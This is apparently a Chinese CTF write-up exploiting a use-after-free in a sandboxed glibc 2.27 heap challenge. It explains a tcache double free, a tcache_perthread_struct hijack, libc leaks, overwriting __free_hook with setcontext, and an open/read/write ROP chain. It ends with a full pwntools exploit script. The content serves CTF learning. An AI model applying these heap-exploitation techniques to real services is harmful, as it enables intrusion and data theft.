程序分析
四个功能
根据add函数中的对index的判断,发现程序只能创建一个chunk。
并且程序开启了沙盒,所以需要利用ORW来打
漏洞点
delete函数中存在UAF
攻击思路
由于开启了沙盒,所以会在堆区开辟许多堆区,此时bin中很杂乱
所以,可以先将这些bin申请出来,清空bin,便于接下来利用
因为存在UAF,利用edit函数功能构造double_free。因为有一个key值在防止double_free,所以将其填充为0绕过检测
1 2 3 4 5 6 7 8 9 10
| add(0,0x40) delete(0) edit(0,p64(0)*2) delete(0) show(0) rl("Content: ") heap_leak = u64(p.recv(6).ljust(8,'\x00')) lg("heap_leak",heap_leak) heap_base = heap_leak-0x1920 lg("heap_base",heap_base)
|
先泄露heap_addr,根据偏移计算出heap_base。然后利用这个double_free,修改next指针申请tcache_perthread_chunk。
1
| edit(0,p64(heap_base+0x10))
|
申请两次即可申请到tcache_perthread_chunk。修改tcache_perthread_chunk中控制bin中chunks数量的counts。将0x250对应的counts修改为7,这样如果将tcache_perthread_chunk这个0x250大小的堆块释放掉的话,这个堆块就会进入unsortedbin中,从而泄露libc。
1 2 3
| add(0,0x40) add(0,0x40) edit(0,p64(0)*4+p64(0x0000000007000000))
|
然后delete释放
1 2 3 4 5 6 7 8
| delete(0) show(0) rl("Content: ") libc_leak = uu64()
lg('libc_leak',libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base)
|
接下来就是思考如何利用ORW
堆区ORW可以利用SROP中的setcontext函数。
当发生rt_sigreturn时,内核恢复用户进程上下文时(将Signal Frame保存的内容恢复到寄存器)就是利用这个函数恢复的。所以我们可以将free_hook劫持到setcontext+53的位置(因为从53开是对寄存器的恢复操作,并且前面的指令可能会导致crash)。当利用free时,进入到setcontext+53位置开始执行,由于rdi是堆块的地址,所以会根据堆区内容来恢复这些寄存器,也就是我们可以通在堆区构造合适的内容来修改这些寄存器的值。
push rcx这个指令相当于控制的rip的。
我们只需要利用这个setcontext来修改rsp和rip的值。rsp指向ORW的ROP链,rip指向ret。这样当setcontext结束就会执行到ORW的ROP链。ORW的ROP链和setcontext时的Signal Frame都保存在堆区,所以需要合理的控制chunk。
1 2 3
| add(0,0x78)
edit(0,p64(0x0001010301010000) + p64(0)*9 + p64(free_hook) + p64(heap_base+0x90)+ p64(heap_base+0x90) + p64(heap_base+0x100) + p64(heap_base+0x150))
|
此时申请的chunk是tcache_perthread_chunk,通过控制chunk的counts和指向tcachebin的chunk指针来构造tcachbin中内容,分配想要分配出的chunk。
首先需要给free_hook留一个tcachebin,所以可以将0x40用来申请free_hook。因为setcontext的rdi是根据free时的chunk指针寻找偏移的,所以需要给0x5ce9fdab9090留一个tcachebin,最后申请再释放,此时的rdi就是0x5ce9fdab9090。rsp的地址为rdi+0xA0,rip是rdi+0xA8,所以需要申请到能修改这个地址内容的chunk。然后设置一个0x80大小的chunk来存放ORW的ROP链。
其中0x60的counts为3就是方便后面构造,修改rsp和rip。
1 2
| add(0,0x10) edit(0,p64(heap_base+0x100))
|
此时tcachebin的0x70的counts为1并且指针是heap_base+0x100,如果申请0x60,即可获得该chunk并控制rsp和ret
rdi是heap_base+0x90,所以rsp是heap_base+0x130,ret是heap_base+0x138
申请的0x50来保存’/flag\x00\x00\x00’
1 2 3 4 5 6
| add(0,0x50) edit(0,'/flag\x00\x00\x00')
add(0,0x68) edit(0,p64(0)*3+p64(0x50)+p64(0)*2+p64(heap_base+0x150)+p64(ret))
|
1 2
| add(0,0x30 edit(0,p64(setcontext+0x35))
|
申请free_hook并修改为setcontext。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| add(0,0x78)
open_part = p64(pop_rdi) + p64(heap_base+0x90) +p64(pop_rsi) +p64(0)+ p64(pop_rax) + p64(2) +p64(syscall)
read_part = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x10) + p64(read_addr)
write_part = p64(pop_rdi)+ p64(1) +p64(write_addr)
rl("Your choice: ") sl('2') rl("Index: ") sl(str(0)) rl("Content: ") s(open_part+read_part+write_part)
|
申请到heap_base+0x150处的chunk用来填充ORW的ROP链。
再次申请到heap_base+0x90并且free,此时rdi是heap_base+0x90,经过SROP后rsp变为heap_base+0x150。rip变为ret,然后ret后会执行ORW的ROP链从而get_flag。
需要注意的是,如果ROP链直接执行open函数,实际上syscall调用的openat,由于沙盒只允许open,所以我们需要找到syscall;ret和pop rax利用syscall直接调用open系统调用
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node4.anna.nssctf.cn', 28223) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.27.so') def add(index,size): rl("Your choice: ") sl('1') rl("Index: ") sl(str(index)) rl("Size: ") sl(str(size))
def show(index): rl("Your choice: ") sl('3') rl("Index: ") sl(str(index))
def edit(index,content): rl("Your choice: ") sl('2') rl("Index: ") sl(str(index)) rl("Content: ") sl(content) def delete(index): rl("Your choice: ") sl('4') rl("Index: ") sl(str(index))
gdb.attach(p)
for i in range(12): add(0,0x10)
for i in range(11): add(0,0x60) for i in range(1): add(0,0x50)
for i in range(7): add(0,0x70) for i in range(7): add(0,0x80)
add(0,0x40) delete(0) edit(0,p64(0)*2) delete(0) show(0) rl("Content: ") heap_leak = u64(p.recv(6).ljust(8,'\x00')) lg("heap_leak",heap_leak) heap_base = heap_leak-0x1920 lg("heap_base",heap_base)
edit(0,p64(heap_base+0x10))
add(0,0x40) add(0,0x40) edit(0,p64(0)*4+p64(0x0000000007000000)) delete(0)
show(0) rl("Content: ") libc_leak = uu64()
lg('libc_leak',libc_leak) libc_base = libc_leak-0x3ebca0 lg("libc_base",libc_base)
malloc_hook = libc_base+libc.sym['__malloc_hook'] free_hook = libc_base+libc.sym['__free_hook'] setcontext = libc_base+libc.sym['setcontext'] lg("setcontext",setcontext) pop_rdi = 0x00000000000215bf + libc_base pop_rdx = 0x0000000000001b96 + libc_base pop_rsi = 0x0000000000023eea + libc_base ret = 0x00000000000008aa + libc_base syscall = 0x00000000000d2745 + libc_base pop_rax = 0x0000000000043ae8 + libc_base pop_rdx_rsi = 0x0000000000130569+libc_base
open_addr = libc_base+libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write']
add(0,0x78)
edit(0,p64(0x0001010301010000) + p64(0)*9 + p64(free_hook) + p64(heap_base+0x90)+ p64(heap_base+0x90) + p64(heap_base+0x100) + p64(heap_base+0x150))
add(0,0x10) edit(0,p64(heap_base+0x100))
add(0,0x50) edit(0,'/flag\x00\x00\x00')
add(0,0x68) edit(0,p64(0)*3+p64(0x50)+p64(0)*2+p64(heap_base+0x150)+p64(ret))
add(0,0x30) edit(0,p64(setcontext+0x35))
add(0,0x78)
open_part = p64(pop_rdi) + p64(heap_base+0x90) +p64(pop_rsi) +p64(0)+ p64(pop_rax) + p64(2) +p64(syscall)
read_part = p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x10) + p64(read_addr)
write_part = p64(pop_rdi)+ p64(1) +p64(write_addr)
rl("Your choice: ") sl('2') rl("Index: ") sl(str(0)) rl("Content: ") s(open_part+read_part+write_part)
add(0,0x40) delete(0)
inter()
|